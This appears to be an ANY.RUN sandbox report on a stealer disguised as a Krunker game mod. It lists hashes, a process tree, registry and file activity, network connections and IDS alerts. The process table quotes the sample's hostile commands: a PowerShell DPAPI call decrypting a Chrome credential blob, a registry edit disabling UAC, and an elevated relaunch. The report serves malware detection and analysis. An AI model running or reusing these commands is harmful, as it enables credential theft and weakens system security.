| URL: | https://2657fa71559b7366ed642a2305b5cfe3.r2.cloudflarestorage.com/easyupload/42ezlv_Krunker7.1Modcleint.rar?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=c1da4bcf7c9076d105cb082e4270665b%2F20241223%2Fauto%2Fs3%2Faws4_request&X-Amz-Date=20241223T191224Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=f86d0a501a158c4bcf6a46af98671011899a3bdfad4e0124793ff49350e6d647 |
| Full analysis: | https://app.any.run/tasks/3bc01545-5033-4f97-a59a-a613063f6240 |
| Verdict: | Malicious activity |
| Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
| Analysis date: | December 23, 2024, 19:35:41 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MD5: | 299B6092EAD0EBDD7F2303EE81ED1947 |
| SHA1: | E36A537126D3A0124D45567D9A1654B4E3716BFC |
| SHA256: | DEFD0F37324C361052114BD53B832A4CCCFB84C173A8D4477A2EF5DC9D2BE051 |
| SSDEEP: | 6:2pSfOPH2YKdJFZX9OQuJyvttGPc07UtXXDsT9A8RjqabSwAgjLd/4TqSLDm:2pEOv2dJFZIQLvttTmgH8AAtXeTqSLi |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 396 | C:\WINDOWS\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,7,104,106,19,244,3,72,70,145,69,23,254,229,195,123,51,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,168,107,224,243,105,130,17,51,102,224,140,169,25,63,129,98,209,82,74,216,20,214,48,1,80,87,163,100,64,229,54,249,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,132,11,193,237,28,124,20,248,68,43,119,128,170,188,163,135,70,173,95,25,54,72,132,203,73,66,254,134,25,129,164,238,48,0,0,0,209,12,254,148,255,228,245,184,135,231,116,216,209,99,55,22,50,218,43,53,171,135,191,123,48,106,132,195,12,39,54,231,71,239,11,215,155,70,31,236,173,237,167,158,33,172,150,130,64,0,0,0,111,170,54,27,62,222,66,183,53,90,197,175,213,50,248,82,39,84,226,43,204,78,118,131,194,34,50,93,146,1,196,126,22,88,91,165,175,223,151,47,9,17,56,1,13,30,3,242,31,213,100,134,95,181,233,109,69,108,99,91,11,54,148,132), $null, 'CurrentUser')" | C:\Windows\System32\cmd.exe | — | Krunker7.1Modcleint.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 520 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Downloads\Krunker7.1Modcleint.rar" | C:\Program Files\WinRAR\WinRAR.exe | — | msedge.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.91.0 Modules
| |||||||||||||||
| 624 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | Krunker7.1Modcleint.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 836 | tasklist | C:\Windows\System32\tasklist.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Lists the current running tasks Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1580 | "C:\WINDOWS\system32\taskmgr.exe" /7 | C:\Windows\System32\Taskmgr.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Manager Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2600 | "C:\Users\admin\AppData\Local\Temp\Rar$EXa520.36677\Krunker7.1Modcleint.exe" | C:\Users\admin\AppData\Local\Temp\Rar$EXa520.36677\Krunker7.1Modcleint.exe | WinRAR.exe | ||||||||||||
User: admin Company: ssl Integrity Level: MEDIUM Exit code: 0 Version: 0.0.0.0 Modules
| |||||||||||||||
| 2600 | C:\WINDOWS\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f" | C:\Windows\System32\cmd.exe | — | Krunker7.1Modcleint.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3188 | C:\WINDOWS\system32\cmd.exe /d /s /c "tasklist" | C:\Windows\System32\cmd.exe | — | Krunker7.1Modcleint.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3188 | powershell -Command "Start-Process 'C:\Users\admin\AppData\Local\Temp\Rar$EXa520.41080\Krunker7.1Modcleint.exe' -ArgumentList 'C:\snapshot\build\index.js' -Verb RunAs" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3208 | "C:\WINDOWS\system32\taskmgr.exe" /7 | C:\Windows\System32\Taskmgr.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Task Manager Exit code: 3221226540 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (5640) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | failed_count |
Value: 0 | |||
| (PID) Process: | (5640) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | state |
Value: 2 | |||
| (PID) Process: | (5640) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | state |
Value: 1 | |||
| (PID) Process: | (5640) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\StabilityMetrics |
| Operation: | write | Name: | user_experience_metrics.stability.exited_cleanly |
Value: 0 | |||
| (PID) Process: | (5640) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
| Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: 7109D4628B882F00 | |||
| (PID) Process: | (5640) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
| Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: 5AD2DD628B882F00 | |||
| (PID) Process: | (5640) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\328454 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {0B38C972-623B-470D-9987-A79CF72AC4CE} | |||
| (PID) Process: | (5640) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
| Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: 87A303638B882F00 | |||
| (PID) Process: | (7592) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached |
| Operation: | write | Name: | {2781761E-28E0-4109-99FE-B9D127C57AFE} {56FFCC30-D398-11D0-B2AE-00A0C908FA49} 0xFFFF |
Value: 0100000000000000AB0F5DE07155DB01 | |||
| (PID) Process: | (5640) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | MicrosoftEdgeAutoLaunch_29EBC4579851B72EE312C449CF839B1A |
Value: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5640 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old~RF13517e.TMP | — | |
MD5:— | SHA256:— | |||
| 5640 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 5640 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db\LOG.old~RF13517e.TMP | — | |
MD5:— | SHA256:— | |||
| 5640 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old~RF13518e.TMP | — | |
MD5:— | SHA256:— | |||
| 5640 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 5640 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old~RF13518e.TMP | — | |
MD5:— | SHA256:— | |||
| 5640 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old | — | |
MD5:— | SHA256:— | |||
| 5640 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 5640 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old~RF1351ec.TMP | — | |
MD5:— | SHA256:— | |||
| 5640 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old | — | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4712 | MoUsoCoreWorker.exe | GET | 200 | 2.16.164.49:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
5064 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
6484 | SIHClient.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
7112 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
6484 | SIHClient.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
6188 | msiexec.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D | unknown | — | — | whitelisted |
6188 | msiexec.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D | unknown | — | — | whitelisted |
6188 | msiexec.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEAcfFBuLMA0l8xTrIwzQ0d0%3D | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2548 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4712 | MoUsoCoreWorker.exe | 2.16.164.49:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
4712 | MoUsoCoreWorker.exe | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5640 | msedge.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
6316 | msedge.exe | 13.107.42.16:443 | config.edge.skype.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
6316 | msedge.exe | 162.159.140.238:443 | 2657fa71559b7366ed642a2305b5cfe3.r2.cloudflarestorage.com | CLOUDFLARENET | — | unknown |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
config.edge.skype.com |
| whitelisted |
edge.microsoft.com |
| whitelisted |
edge-mobile-static.azureedge.net |
| whitelisted |
2657fa71559b7366ed642a2305b5cfe3.r2.cloudflarestorage.com |
| unknown |
business.bing.com |
| whitelisted |
bzib.nelreports.net |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
6316 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare R2 Storage (r2 .cloudflarestorage .com) |
6316 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare R2 Storage (r2 .cloudflarestorage .com) |
2192 | svchost.exe | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
7768 | Krunker7.1Modcleint.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |